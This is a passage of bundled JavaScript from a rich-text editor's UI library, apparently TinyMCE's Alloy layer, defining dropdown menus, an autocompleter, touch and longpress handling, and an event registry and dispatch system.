        toCached,
        toPromise,
        get
      };
    };
    const nu$2 = baseFn => {
      return make$5(() => new Promise(baseFn));
    };
    const pure = a => {
      return make$5(() => Promise.resolve(a));
    };
    const Future = {
      nu: nu$2,
      pure
    };

    const suffix = constant$1('sink');
    const partType$1 = constant$1(optional({
      name: suffix(),
      overrides: constant$1({
        dom: { tag: 'div' },
        behaviours: derive$1([Positioning.config({ useFixed: always })]),
        events: derive$2([
          cutter(keydown()),
          cutter(mousedown()),
          cutter(click())
        ])
      })
    }));

    const getAnchor = (detail, component) => {
      const hotspot = detail.getHotspot(component).getOr(component);
      const type = 'hotspot';
      const overrides = detail.getAnchorOverrides();
      return detail.layouts.fold(() => ({
        type,
        hotspot,
        overrides
      }), layouts => ({
        type,
        hotspot,
        overrides,
        layouts
      }));
    };
    const fetch = (detail, mapFetch, component) => {
      const fetcher = detail.fetch;
      return fetcher(component).map(mapFetch);
    };
    const openF = (detail, mapFetch, anchor, component, sandbox, externals, highlightOnOpen) => {
      const futureData = fetch(detail, mapFetch, component);
      const getLazySink = getSink(component, detail);
      return futureData.map(tdata => tdata.bind(data => Optional.from(tieredMenu.sketch({
        ...externals.menu(),
        uid: generate$5(''),
        data,
        highlightOnOpen,
        onOpenMenu: (tmenu, menu) => {
          const sink = getLazySink().getOrDie();
          Positioning.position(sink, menu, { anchor });
          Sandboxing.decloak(sandbox);
        },
        onOpenSubmenu: (tmenu, item, submenu) => {
          const sink = getLazySink().getOrDie();
          Positioning.position(sink, submenu, {
            anchor: {
              type: 'submenu',
              item
            }
          });
          Sandboxing.decloak(sandbox);
        },
        onRepositionMenu: (tmenu, primaryMenu, submenuTriggers) => {
          const sink = getLazySink().getOrDie();
          Positioning.position(sink, primaryMenu, { anchor });
          each$1(submenuTriggers, st => {
            Positioning.position(sink, st.triggeredMenu, {
              anchor: {
                type: 'submenu',
                item: st.triggeringItem
              }
            });
          });
        },
        onEscape: () => {
          Focusing.focus(component);
          Sandboxing.close(sandbox);
          return Optional.some(true);
        }
      }))));
    };
    const open = (detail, mapFetch, hotspot, sandbox, externals, onOpenSync, highlightOnOpen) => {
      const anchor = getAnchor(detail, hotspot);
      const processed = openF(detail, mapFetch, anchor, hotspot, sandbox, externals, highlightOnOpen);
      return processed.map(tdata => {
        tdata.fold(() => {
          if (Sandboxing.isOpen(sandbox)) {
            Sandboxing.close(sandbox);
          }
        }, data => {
          Sandboxing.cloak(sandbox);
          Sandboxing.open(sandbox, data);
          onOpenSync(sandbox);
        });
        return sandbox;
      });
    };
    const close = (detail, mapFetch, component, sandbox, _externals, _onOpenSync, _highlightOnOpen) => {
      Sandboxing.close(sandbox);
      return Future.pure(sandbox);
    };
    const togglePopup = (detail, mapFetch, hotspot, externals, onOpenSync, highlightOnOpen) => {
      const sandbox = Coupling.getCoupled(hotspot, 'sandbox');
      const showing = Sandboxing.isOpen(sandbox);
      const action = showing ? close : open;
      return action(detail, mapFetch, hotspot, sandbox, externals, onOpenSync, highlightOnOpen);
    };
    const matchWidth = (hotspot, container, useMinWidth) => {
      const menu = Composing.getCurrent(container).getOr(container);
      const buttonWidth = get$c(hotspot.element);
      if (useMinWidth) {
        set$8(menu.element, 'min-width', buttonWidth + 'px');
      } else {
        set$7(menu.element, buttonWidth);
      }
    };
    const getSink = (anyInSystem, sinkDetail) => anyInSystem.getSystem().getByUid(sinkDetail.uid + '-' + suffix()).map(internalSink => () => Result.value(internalSink)).getOrThunk(() => sinkDetail.lazySink.fold(() => () => Result.error(new Error('No internal sink is specified, nor could an external sink be found')), lazySinkFn => () => lazySinkFn(anyInSystem)));
    const doRepositionMenus = sandbox => {
      Sandboxing.getState(sandbox).each(tmenu => {
        tieredMenu.repositionMenus(tmenu);
      });
    };
    const makeSandbox$1 = (detail, hotspot, extras) => {
      const ariaControls = manager();
      const onOpen = (component, menu) => {
        const anchor = getAnchor(detail, hotspot);
        ariaControls.link(hotspot.element);
        if (detail.matchWidth) {
          matchWidth(anchor.hotspot, menu, detail.useMinWidth);
        }
        detail.onOpen(anchor, component, menu);
        if (extras !== undefined && extras.onOpen !== undefined) {
          extras.onOpen(component, menu);
        }
      };
      const onClose = (component, menu) => {
        ariaControls.unlink(hotspot.element);
        if (extras !== undefined && extras.onClose !== undefined) {
          extras.onClose(component, menu);
        }
      };
      const lazySink = getSink(hotspot, detail);
      return {
        dom: {
          tag: 'div',
          classes: detail.sandboxClasses,
          attributes: {
            id: ariaControls.id,
            role: 'listbox'
          }
        },
        behaviours: SketchBehaviours.augment(detail.sandboxBehaviours, [
          Representing.config({
            store: {
              mode: 'memory',
              initialValue: hotspot
            }
          }),
          Sandboxing.config({
            onOpen,
            onClose,
            isPartOf: (container, data, queryElem) => {
              return isPartOf$1(data, queryElem) || isPartOf$1(hotspot, queryElem);
            },
            getAttachPoint: () => {
              return lazySink().getOrDie();
            }
          }),
          Composing.config({
            find: sandbox => {
              return Sandboxing.getState(sandbox).bind(menu => Composing.getCurrent(menu));
            }
          }),
          Receiving.config({
            channels: {
              ...receivingChannel$1({ isExtraPart: never }),
              ...receivingChannel({ doReposition: doRepositionMenus })
            }
          })
        ])
      };
    };
    const repositionMenus = comp => {
      const sandbox = Coupling.getCoupled(comp, 'sandbox');
      doRepositionMenus(sandbox);
    };

    const sandboxFields = () => [
      defaulted('sandboxClasses', []),
      SketchBehaviours.field('sandboxBehaviours', [
        Composing,
        Receiving,
        Sandboxing,
        Representing
      ])
    ];

    const schema$k = constant$1([
      required$1('dom'),
      required$1('fetch'),
      onHandler('onOpen'),
      onKeyboardHandler('onExecute'),
      defaulted('getHotspot', Optional.some),
      defaulted('getAnchorOverrides', constant$1({})),
      schema$y(),
      field('dropdownBehaviours', [
        Toggling,
        Coupling,
        Keying,
        Focusing
      ]),
      required$1('toggleClass'),
      defaulted('eventOrder', {}),
      option$3('lazySink'),
      defaulted('matchWidth', false),
      defaulted('useMinWidth', false),
      option$3('role')
    ].concat(sandboxFields()));
    const parts$e = constant$1([
      external({
        schema: [
          tieredMenuMarkers(),
          defaulted('fakeFocus', false)
        ],
        name: 'menu',
        defaults: detail => {
          return { onExecute: detail.onExecute };
        }
      }),
      partType$1()
    ]);

    const factory$k = (detail, components, _spec, externals) => {
      const lookupAttr = attr => get$g(detail.dom, 'attributes').bind(attrs => get$g(attrs, attr));
      const switchToMenu = sandbox => {
        Sandboxing.getState(sandbox).each(tmenu => {
          tieredMenu.highlightPrimary(tmenu);
        });
      };
      const togglePopup$1 = (dropdownComp, onOpenSync, highlightOnOpen) => {
        return togglePopup(detail, identity, dropdownComp, externals, onOpenSync, highlightOnOpen);
      };
      const action = component => {
        const onOpenSync = switchToMenu;
        togglePopup$1(component, onOpenSync, HighlightOnOpen.HighlightMenuAndItem).get(noop);
      };
      const apis = {
        expand: comp => {
          if (!Toggling.isOn(comp)) {
            togglePopup$1(comp, noop, HighlightOnOpen.HighlightNone).get(noop);
          }
        },
        open: comp => {
          if (!Toggling.isOn(comp)) {
            togglePopup$1(comp, noop, HighlightOnOpen.HighlightMenuAndItem).get(noop);
          }
        },
        refetch: comp => {
          const optSandbox = Coupling.getExistingCoupled(comp, 'sandbox');
          return optSandbox.fold(() => {
            return togglePopup$1(comp, noop, HighlightOnOpen.HighlightMenuAndItem).map(noop);
          }, sandboxComp => {
            return open(detail, identity, comp, sandboxComp, externals, noop, HighlightOnOpen.HighlightMenuAndItem).map(noop);
          });
        },
        isOpen: Toggling.isOn,
        close: comp => {
          if (Toggling.isOn(comp)) {
            togglePopup$1(comp, noop, HighlightOnOpen.HighlightMenuAndItem).get(noop);
          }
        },
        repositionMenus: comp => {
          if (Toggling.isOn(comp)) {
            repositionMenus(comp);
          }
        }
      };
      const triggerExecute = (comp, _se) => {
        emitExecute(comp);
        return Optional.some(true);
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: augment(detail.dropdownBehaviours, [
          Toggling.config({
            toggleClass: detail.toggleClass,
            aria: { mode: 'expanded' }
          }),
          Coupling.config({
            others: {
              sandbox: hotspot => {
                return makeSandbox$1(detail, hotspot, {
                  onOpen: () => Toggling.on(hotspot),
                  onClose: () => Toggling.off(hotspot)
                });
              }
            }
          }),
          Keying.config({
            mode: 'special',
            onSpace: triggerExecute,
            onEnter: triggerExecute,
            onDown: (comp, _se) => {
              if (Dropdown.isOpen(comp)) {
                const sandbox = Coupling.getCoupled(comp, 'sandbox');
                switchToMenu(sandbox);
              } else {
                Dropdown.open(comp);
              }
              return Optional.some(true);
            },
            onEscape: (comp, _se) => {
              if (Dropdown.isOpen(comp)) {
                Dropdown.close(comp);
                return Optional.some(true);
              } else {
                return Optional.none();
              }
            }
          }),
          Focusing.config({})
        ]),
        events: events$a(Optional.some(action)),
        eventOrder: {
          ...detail.eventOrder,
          [execute$5()]: [
            'disabling',
            'toggling',
            'alloy.base.behaviour'
          ]
        },
        apis,
        domModification: {
          attributes: {
            'aria-haspopup': 'true',
            ...detail.role.fold(() => ({}), role => ({ role })),
            ...detail.dom.tag === 'button' ? { type: lookupAttr('type').getOr('button') } : {}
          }
        }
      };
    };
    const Dropdown = composite({
      name: 'Dropdown',
      configFields: schema$k(),
      partFields: parts$e(),
      factory: factory$k,
      apis: {
        open: (apis, comp) => apis.open(comp),
        refetch: (apis, comp) => apis.refetch(comp),
        expand: (apis, comp) => apis.expand(comp),
        close: (apis, comp) => apis.close(comp),
        isOpen: (apis, comp) => apis.isOpen(comp),
        repositionMenus: (apis, comp) => apis.repositionMenus(comp)
      }
    });

    const identifyMenuLayout = searchMode => {
      switch (searchMode.searchMode) {
      case 'no-search': {
          return { menuType: 'normal' };
        }
      default: {
          return {
            menuType: 'searchable',
            searchMode
          };
        }
      }
    };
    const handleRefetchTrigger = originalSandboxComp => {
      const dropdown = Representing.getValue(originalSandboxComp);
      const optSearcherState = findWithinSandbox(originalSandboxComp).map(saveState);
      Dropdown.refetch(dropdown).get(() => {
        const newSandboxComp = Coupling.getCoupled(dropdown, 'sandbox');
        optSearcherState.each(searcherState => findWithinSandbox(newSandboxComp).each(inputComp => restoreState(inputComp, searcherState)));
      });
    };
    const handleRedirectToMenuItem = (sandboxComp, se) => {
      getActiveMenuItemFrom(sandboxComp).each(activeItem => {
        retargetAndDispatchWith(sandboxComp, activeItem.element, se.event.eventType, se.event.interactionEvent);
      });
    };
    const getActiveMenuItemFrom = sandboxComp => {
      return Sandboxing.getState(sandboxComp).bind(Highlighting.getHighlighted).bind(Highlighting.getHighlighted);
    };
    const getSearchResults = activeMenuComp => {
      return has(activeMenuComp.element, searchResultsClass) ? Optional.some(activeMenuComp.element) : descendant(activeMenuComp.element, '.' + searchResultsClass);
    };
    const updateAriaOnHighlight = (tmenuComp, menuComp, itemComp) => {
      findWithinMenu(tmenuComp).each(inputComp => {
        setActiveDescendant(inputComp, itemComp);
        const optActiveResults = getSearchResults(menuComp);
        optActiveResults.each(resultsElem => {
          getOpt(resultsElem, 'id').each(controlledId => set$9(inputComp.element, 'aria-controls', controlledId));
        });
      });
      set$9(itemComp.element, 'aria-selected', 'true');
    };
    const updateAriaOnDehighlight = (tmenuComp, menuComp, itemComp) => {
      set$9(itemComp.element, 'aria-selected', 'false');
    };
    const focusSearchField = tmenuComp => {
      findWithinMenu(tmenuComp).each(searcherComp => Focusing.focus(searcherComp));
    };
    const getSearchPattern = dropdownComp => {
      const optSandboxComp = Coupling.getExistingCoupled(dropdownComp, 'sandbox');
      return optSandboxComp.bind(findWithinSandbox).map(saveState).map(state => state.fetchPattern).getOr('');
    };

    var FocusMode;
    (function (FocusMode) {
      FocusMode[FocusMode['ContentFocus'] = 0] = 'ContentFocus';
      FocusMode[FocusMode['UiFocus'] = 1] = 'UiFocus';
    }(FocusMode || (FocusMode = {})));
    const createMenuItemFromBridge = (item, itemResponse, backstage, menuHasIcons, isHorizontalMenu) => {
      const providersBackstage = backstage.shared.providers;
      const parseForHorizontalMenu = menuitem => !isHorizontalMenu ? menuitem : {
        ...menuitem,
        shortcut: Optional.none(),
        icon: menuitem.text.isSome() ? Optional.none() : menuitem.icon
      };
      switch (item.type) {
      case 'menuitem':
        return createMenuItem(item).fold(handleError, d => Optional.some(normal(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons)));
      case 'nestedmenuitem':
        return createNestedMenuItem(item).fold(handleError, d => Optional.some(nested(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons, isHorizontalMenu)));
      case 'togglemenuitem':
        return createToggleMenuItem(item).fold(handleError, d => Optional.some(toggle$1(parseForHorizontalMenu(d), itemResponse, providersBackstage, menuHasIcons)));
      case 'separator':
        return createSeparatorMenuItem(item).fold(handleError, d => Optional.some(separator$3(d)));
      case 'fancymenuitem':
        return createFancyMenuItem(item).fold(handleError, d => fancy(d, backstage));
      default: {
          console.error('Unknown item in general menu', item);
          return Optional.none();
        }
      }
    };
    const createAutocompleteItems = (items, matchText, onItemValueHandler, columns, itemResponse, sharedBackstage, highlightOn) => {
      const renderText = columns === 1;
      const renderIcons = !renderText || menuHasIcons(items);
      return cat(map$2(items, item => {
        switch (item.type) {
        case 'separator':
          return createSeparatorItem(item).fold(handleError, d => Optional.some(separator$3(d)));
        case 'cardmenuitem':
          return createCardMenuItem(item).fold(handleError, d => Optional.some(card({
            ...d,
            onAction: api => {
              d.onAction(api);
              onItemValueHandler(d.value, d.meta);
            }
          }, itemResponse, sharedBackstage, {
            itemBehaviours: tooltipBehaviour(d.meta, sharedBackstage),
            cardText: {
              matchText,
              highlightOn
            }
          })));
        case 'autocompleteitem':
        default:
          return createAutocompleterItem(item).fold(handleError, d => Optional.some(autocomplete(d, matchText, renderText, 'normal', onItemValueHandler, itemResponse, sharedBackstage, renderIcons)));
        }
      }));
    };
    const createPartialMenu = (value, items, itemResponse, backstage, isHorizontalMenu, searchMode) => {
      const hasIcons = menuHasIcons(items);
      const alloyItems = cat(map$2(items, item => {
        const itemHasIcon = i => isHorizontalMenu ? !has$2(i, 'text') : hasIcons;
        const createItem = i => createMenuItemFromBridge(i, itemResponse, backstage, itemHasIcon(i), isHorizontalMenu);
        if (item.type === 'nestedmenuitem' && item.getSubmenuItems().length <= 0) {
          return createItem({
            ...item,
            enabled: false
          });
        } else {
          return createItem(item);
        }
      }));
      const menuLayout = identifyMenuLayout(searchMode);
      const createPartial = isHorizontalMenu ? createHorizontalPartialMenuWithAlloyItems : createPartialMenuWithAlloyItems;
      return createPartial(value, hasIcons, alloyItems, 1, menuLayout);
    };
    const createTieredDataFrom = partialMenu => tieredMenu.singleData(partialMenu.value, partialMenu);
    const createInlineMenuFrom = (partialMenu, columns, focusMode, presets) => {
      const movement = deriveMenuMovement(columns, presets);
      const menuMarkers = markers(presets);
      return {
        data: createTieredDataFrom({
          ...partialMenu,
          movement,
          menuBehaviours: SimpleBehaviours.unnamedEvents(columns !== 'auto' ? [] : [runOnAttached((comp, _se) => {
              detectSize(comp, 4, menuMarkers.item).each(({numColumns, numRows}) => {
                Keying.setGridSize(comp, numRows, numColumns);
              });
            })])
        }),
        menu: {
          markers: markers(presets),
          fakeFocus: focusMode === FocusMode.ContentFocus
        }
      };
    };

    const getAutocompleterRange = (dom, initRange) => {
      return detect(SugarElement.fromDom(initRange.startContainer)).map(elm => {
        const range = dom.createRng();
        range.selectNode(elm.dom);
        return range;
      });
    };
    const register$b = (editor, sharedBackstage) => {
      const processingAction = Cell(false);
      const activeState = Cell(false);
      const autocompleter = build$1(InlineView.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-autocompleter']
        },
        components: [],
        fireDismissalEventInstead: {},
        inlineBehaviours: derive$1([config('dismissAutocompleter', [run$1(dismissRequested(), () => cancelIfNecessary())])]),
        lazySink: sharedBackstage.getSink
      }));
      const isMenuOpen = () => InlineView.isOpen(autocompleter);
      const isActive = activeState.get;
      const hideIfNecessary = () => {
        if (isMenuOpen()) {
          InlineView.hide(autocompleter);
        }
      };
      const getMenu = () => InlineView.getContent(autocompleter).bind(tmenu => {
        return get$h(tmenu.components(), 0);
      });
      const cancelIfNecessary = () => editor.execCommand('mceAutocompleterClose');
      const getCombinedItems = matches => {
        const columns = findMap(matches, m => Optional.from(m.columns)).getOr(1);
        return bind$3(matches, match => {
          const choices = match.items;
          return createAutocompleteItems(choices, match.matchText, (itemValue, itemMeta) => {
            const nr = editor.selection.getRng();
            getAutocompleterRange(editor.dom, nr).each(range => {
              const autocompleterApi = {
                hide: () => cancelIfNecessary(),
                reload: fetchOptions => {
                  hideIfNecessary();
                  editor.execCommand('mceAutocompleterReload', false, { fetchOptions });
                }
              };
              processingAction.set(true);
              match.onAction(autocompleterApi, range, itemValue, itemMeta);
              processingAction.set(false);
            });
          }, columns, ItemResponse$1.BUBBLE_TO_SANDBOX, sharedBackstage, match.highlightOn);
        });
      };
      const display = (lookupData, items) => {
        findIn(SugarElement.fromDom(editor.getBody())).each(element => {
          const columns = findMap(lookupData, ld => Optional.from(ld.columns)).getOr(1);
          InlineView.showMenuAt(autocompleter, {
            anchor: {
              type: 'node',
              root: SugarElement.fromDom(editor.getBody()),
              node: Optional.from(element)
            }
          }, createInlineMenuFrom(createPartialMenuWithAlloyItems('autocompleter-value', true, items, columns, { menuType: 'normal' }), columns, FocusMode.ContentFocus, 'normal'));
        });
        getMenu().each(Highlighting.highlightFirst);
      };
      const updateDisplay = lookupData => {
        const combinedItems = getCombinedItems(lookupData);
        if (combinedItems.length > 0) {
          display(lookupData, combinedItems);
        } else {
          hideIfNecessary();
        }
      };
      editor.on('AutocompleterStart', ({lookupData}) => {
        activeState.set(true);
        processingAction.set(false);
        updateDisplay(lookupData);
      });
      editor.on('AutocompleterUpdate', ({lookupData}) => updateDisplay(lookupData));
      editor.on('AutocompleterEnd', () => {
        hideIfNecessary();
        activeState.set(false);
        processingAction.set(false);
      });
      const autocompleterUiApi = {
        cancelIfNecessary,
        isMenuOpen,
        isActive,
        isProcessingAction: processingAction.get,
        getMenu
      };
      AutocompleterEditorEvents.setup(autocompleterUiApi, editor);
    };
    const Autocompleter = { register: register$b };

    const closest = (scope, selector, isRoot) => closest$1(scope, selector, isRoot).isSome();

    const DelayedFunction = (fun, delay) => {
      let ref = null;
      const schedule = (...args) => {
        ref = setTimeout(() => {
          fun.apply(null, args);
          ref = null;
        }, delay);
      };
      const cancel = () => {
        if (ref !== null) {
          clearTimeout(ref);
          ref = null;
        }
      };
      return {
        cancel,
        schedule
      };
    };

    const SIGNIFICANT_MOVE = 5;
    const LONGPRESS_DELAY = 400;
    const getTouch = event => {
      const raw = event.raw;
      if (raw.touches === undefined || raw.touches.length !== 1) {
        return Optional.none();
      }
      return Optional.some(raw.touches[0]);
    };
    const isFarEnough = (touch, data) => {
      const distX = Math.abs(touch.clientX - data.x);
      const distY = Math.abs(touch.clientY - data.y);
      return distX > SIGNIFICANT_MOVE || distY > SIGNIFICANT_MOVE;
    };
    const monitor = settings => {
      const startData = value$2();
      const longpressFired = Cell(false);
      const longpress$1 = DelayedFunction(event => {
        settings.triggerEvent(longpress(), event);
        longpressFired.set(true);
      }, LONGPRESS_DELAY);
      const handleTouchstart = event => {
        getTouch(event).each(touch => {
          longpress$1.cancel();
          const data = {
            x: touch.clientX,
            y: touch.clientY,
            target: event.target
          };
          longpress$1.schedule(event);
          longpressFired.set(false);
          startData.set(data);
        });
        return Optional.none();
      };
      const handleTouchmove = event => {
        longpress$1.cancel();
        getTouch(event).each(touch => {
          startData.on(data => {
            if (isFarEnough(touch, data)) {
              startData.clear();
            }
          });
        });
        return Optional.none();
      };
      const handleTouchend = event => {
        longpress$1.cancel();
        const isSame = data => eq(data.target, event.target);
        return startData.get().filter(isSame).map(_data => {
          if (longpressFired.get()) {
            event.prevent();
            return false;
          } else {
            return settings.triggerEvent(tap(), event);
          }
        });
      };
      const handlers = wrapAll([
        {
          key: touchstart(),
          value: handleTouchstart
        },
        {
          key: touchmove(),
          value: handleTouchmove
        },
        {
          key: touchend(),
          value: handleTouchend
        }
      ]);
      const fireIfReady = (event, type) => get$g(handlers, type).bind(handler => handler(event));
      return { fireIfReady };
    };

    const isDangerous = event => {
      const keyEv = event.raw;
      return keyEv.which === BACKSPACE[0] && !contains$2([
        'input',
        'textarea'
      ], name$3(event.target)) && !closest(event.target, '[contenteditable="true"]');
    };
    const setup$d = (container, rawSettings) => {
      const settings = {
        stopBackspace: true,
        ...rawSettings
      };
      const pointerEvents = [
        'touchstart',
        'touchmove',
        'touchend',
        'touchcancel',
        'gesturestart',
        'mousedown',
        'mouseup',
        'mouseover',
        'mousemove',
        'mouseout',
        'click'
      ];
      const tapEvent = monitor(settings);
      const simpleEvents = map$2(pointerEvents.concat([
        'selectstart',
        'input',
        'contextmenu',
        'change',
        'transitionend',
        'transitioncancel',
        'drag',
        'dragstart',
        'dragend',
        'dragenter',
        'dragleave',
        'dragover',
        'drop',
        'keyup'
      ]), type => bind(container, type, event => {
        tapEvent.fireIfReady(event, type).each(tapStopped => {
          if (tapStopped) {
            event.kill();
          }
        });
        const stopped = settings.triggerEvent(type, event);
        if (stopped) {
          event.kill();
        }
      }));
      const pasteTimeout = value$2();
      const onPaste = bind(container, 'paste', event => {
        tapEvent.fireIfReady(event, 'paste').each(tapStopped => {
          if (tapStopped) {
            event.kill();
          }
        });
        const stopped = settings.triggerEvent('paste', event);
        if (stopped) {
          event.kill();
        }
        pasteTimeout.set(setTimeout(() => {
          settings.triggerEvent(postPaste(), event);
        }, 0));
      });
      const onKeydown = bind(container, 'keydown', event => {
        const stopped = settings.triggerEvent('keydown', event);
        if (stopped) {
          event.kill();
        } else if (settings.stopBackspace && isDangerous(event)) {
          event.prevent();
        }
      });
      const onFocusIn = bind(container, 'focusin', event => {
        const stopped = settings.triggerEvent('focusin', event);
        if (stopped) {
          event.kill();
        }
      });
      const focusoutTimeout = value$2();
      const onFocusOut = bind(container, 'focusout', event => {
        const stopped = settings.triggerEvent('focusout', event);
        if (stopped) {
          event.kill();
        }
        focusoutTimeout.set(setTimeout(() => {
          settings.triggerEvent(postBlur(), event);
        }, 0));
      });
      const unbind = () => {
        each$1(simpleEvents, e => {
          e.unbind();
        });
        onKeydown.unbind();
        onFocusIn.unbind();
        onFocusOut.unbind();
        onPaste.unbind();
        pasteTimeout.on(clearTimeout);
        focusoutTimeout.on(clearTimeout);
      };
      return { unbind };
    };

    const derive = (rawEvent, rawTarget) => {
      const source = get$g(rawEvent, 'target').getOr(rawTarget);
      return Cell(source);
    };

    const fromSource = (event, source) => {
      const stopper = Cell(false);
      const cutter = Cell(false);
      const stop = () => {
        stopper.set(true);
      };
      const cut = () => {
        cutter.set(true);
      };
      return {
        stop,
        cut,
        isStopped: stopper.get,
        isCut: cutter.get,
        event,
        setSource: source.set,
        getSource: source.get
      };
    };
    const fromExternal = event => {
      const stopper = Cell(false);
      const stop = () => {
        stopper.set(true);
      };
      return {
        stop,
        cut: noop,
        isStopped: stopper.get,
        isCut: never,
        event,
        setSource: die('Cannot set source of a broadcasted event'),
        getSource: die('Cannot get source of a broadcasted event')
      };
    };

    const adt$1 = Adt.generate([
      { stopped: [] },
      { resume: ['element'] },
      { complete: [] }
    ]);
    const doTriggerHandler = (lookup, eventType, rawEvent, target, source, logger) => {
      const handler = lookup(eventType, target);
      const simulatedEvent = fromSource(rawEvent, source);
      return handler.fold(() => {
        logger.logEventNoHandlers(eventType, target);
        return adt$1.complete();
      }, handlerInfo => {
        const descHandler = handlerInfo.descHandler;
        const eventHandler = getCurried(descHandler);
        eventHandler(simulatedEvent);
        if (simulatedEvent.isStopped()) {
          logger.logEventStopped(eventType, handlerInfo.element, descHandler.purpose);
          return adt$1.stopped();
        } else if (simulatedEvent.isCut()) {
          logger.logEventCut(eventType, handlerInfo.element, descHandler.purpose);
          return adt$1.complete();
        } else {
          return parent(handlerInfo.element).fold(() => {
            logger.logNoParent(eventType, handlerInfo.element, descHandler.purpose);
            return adt$1.complete();
          }, parent => {
            logger.logEventResponse(eventType, handlerInfo.element, descHandler.purpose);
            return adt$1.resume(parent);
          });
        }
      });
    };
    const doTriggerOnUntilStopped = (lookup, eventType, rawEvent, rawTarget, source, logger) => doTriggerHandler(lookup, eventType, rawEvent, rawTarget, source, logger).fold(always, parent => doTriggerOnUntilStopped(lookup, eventType, rawEvent, parent, source, logger), never);
    const triggerHandler = (lookup, eventType, rawEvent, target, logger) => {
      const source = derive(rawEvent, target);
      return doTriggerHandler(lookup, eventType, rawEvent, target, source, logger);
    };
    const broadcast = (listeners, rawEvent, _logger) => {
      const simulatedEvent = fromExternal(rawEvent);
      each$1(listeners, listener => {
        const descHandler = listener.descHandler;
        const handler = getCurried(descHandler);
        handler(simulatedEvent);
      });
      return simulatedEvent.isStopped();
    };
    const triggerUntilStopped = (lookup, eventType, rawEvent, logger) => triggerOnUntilStopped(lookup, eventType, rawEvent, rawEvent.target, logger);
    const triggerOnUntilStopped = (lookup, eventType, rawEvent, rawTarget, logger) => {
      const source = derive(rawEvent, rawTarget);
      return doTriggerOnUntilStopped(lookup, eventType, rawEvent, rawTarget, source, logger);
    };

    const eventHandler = (element, descHandler) => ({
      element,
      descHandler
    });
    const broadcastHandler = (id, handler) => ({
      id,
      descHandler: handler
    });
    const EventRegistry = () => {
      const registry = {};
      const registerId = (extraArgs, id, events) => {
        each(events, (v, k) => {
          const handlers = registry[k] !== undefined ? registry[k] : {};
          handlers[id] = curryArgs(v, extraArgs);
          registry[k] = handlers;
        });
      };
      const findHandler = (handlers, elem) => read$1(elem).bind(id => get$g(handlers, id)).map(descHandler => eventHandler(elem, descHandler));
      const filterByType = type => get$g(registry, type).map(handlers => mapToArray(handlers, (f, id) => broadcastHandler(id, f))).getOr([]);
      const find = (isAboveRoot, type, target) => get$g(registry, type).bind(handlers => closest$4(target, elem => findHandler(handlers, elem), isAboveRoot));
      const unregisterId = id => {
        each(registry, (handlersById, _eventName) => {
          if (has$2(handlersById, id)) {
            delete handlersById[id];
          }
        });
      };
      return {
        registerId,
        unregisterId,
        filterByType,
        find
      };
    };

    const Registry = () => {
      const events = EventRegistry();
      const components = {};
      const readOrTag = component => {
        const elem = component.element;
        return read$1(elem).getOrThunk(() => write('uid-', component.element));
      };
      const failOnDuplicate = (component, tagId) => {
        const conflict = components[tagId];
        if (conflict === component) {
          unregister(component);
        } else {
          throw new Error('The tagId "' + tagId + '" is already used by: ' + element(conflict.element) + '\nCannot use it for: ' + element(component.element) + '\n' + 'The conflicting element is' + (inBody(conflict.element) ? ' ' : ' not ') + 'already in the DOM');
        }
      };
      const register = component => {
        const tagId = readOrTag(component);
        if (hasNonNullableKey(components, tagId)) {
          failOnDuplicate(component, tagId);
        }
        const extraArgs = [component];
        events.registerId(extraArgs, tagId, component.events);
        components[tagId] = component;
      };
      const unregister = component => {
        read$1(component.element).each(tagId => {
          delete components[tagId];
          events.unregisterId(tagId);
        });
      };
      const filter = type => events.filterByType(type);
      const find = (isAboveRoot, type, target) => events.find(isAboveRoot, type, target);
      const getById = id => get$g(components, id);
      return {
        find,
        filter,
        register,
        unregister,
        getById
      };
    };

    const factory$j = detail => {
      const {attributes, ...domWithoutAttributes} = detail.dom;
      return {
        uid: detail.uid,
        dom: {
          tag: 'div',
          attributes: {
            role: 'presentation',
            ...attributes
          },
          ...domWithoutAttributes
        },
        components: detail.components,
        behaviours: get$3(detail.containerBehaviours),
        events: detail.events,
        domModification: detail.domModification,
        eventOrder: detail.eventOrder
      };
    };
    const Container = single({
      name: 'Container',
      factory: factory$j,
      configFields: [
        defaulted('components', []),
        field('containerBehaviours', []),
        defaulted('events', {}),
        defaulted('domModification', {}),
        defaulted('eventOrder', {})
      ]
    });

    const takeover = root => {
      const isAboveRoot = el => parent(root.element).fold(always, parent => eq(el, parent));
      const registry = Registry();
      const lookup = (eventName, target) => registry.find(isAboveRoot, eventName, target);
      const domEvents = setup$d(root.element, {
        triggerEvent: (eventName, event) => {
          return monitorEvent(eventName, event.target, logger => triggerUntilStopped(lookup, eventName, event, logger));
        }
      });
      const systemApi = {
        debugInfo: constant$1('real'),
        triggerEvent: (eventName, target, data) => {
          monitorEvent(eventName, target, logger => triggerOnUntilStopped(lookup, eventName, data, target, logger));
        },
        triggerFocus: (target, originator) => {
          read$1(target).fold(() => {
            focus$3(target);
          }, _alloyId => {
            monitorEvent(focus$4(), target, logger => {
              triggerHandler(lookup, focus$4(), {
                originator,
                kill: noop,
                prevent: noop,
                target
              }, target, logger);
              return false;
            });
          });
        },
        triggerEscape: (comp, simulatedEvent) => {
          systemApi.triggerEvent('keydown', comp.element, simulatedEvent.event);
        },
        getByUid: uid => {
          return getByUid(uid);
        },
        getByDom: elem => {
          return getByDom(elem);
        },
        build: build$1,
        buildOrPatch: buildOrPatch,
        addToGui: c => {
          add(c);
        },
        removeFromGui: c => {
          remove(c);
        },
        addToWorld: c => {
          addToWorld(c);
        },
        removeFromWorld: c => {
          removeFromWorld(c);
        },
        broadcast: message => {
          broadcast$1(message);
        },
        broadcastOn: (channels, message) => {
          broadcastOn(channels, message);
        },
        broadcastEvent: (eventName, event) => {
          broadcastEvent(eventName, event);
        },
        isConnected: always
      };
      const addToWorld = component => {
        component.connect(systemApi);
        if (!isText(component.element)) {
          registry.register(component);
          each$1(component.components(), addToWorld);
          systemApi.triggerEvent(systemInit(), component.element, { target: component.element });
        }
      };
      const removeFromWorld = component => {
        if (!isText(component.element)) {
          each$1(component.components(), removeFromWorld);
          registry.unregister(component);
        }
        component.disconnect();
      };
      const add = component => {
        attach(root, component);
      };
      const remove = component => {
        detach(component);
      };
      const destroy = () => {
        domEvents.unbind();
        remove$5(root.element);
      };
      const broadcastData = data => {
        const receivers = registry.filter(receive());
        each$1(receivers, receiver => {
          const descHandler = receiver.descHandler;
          const handler = getCurried(descHandler);
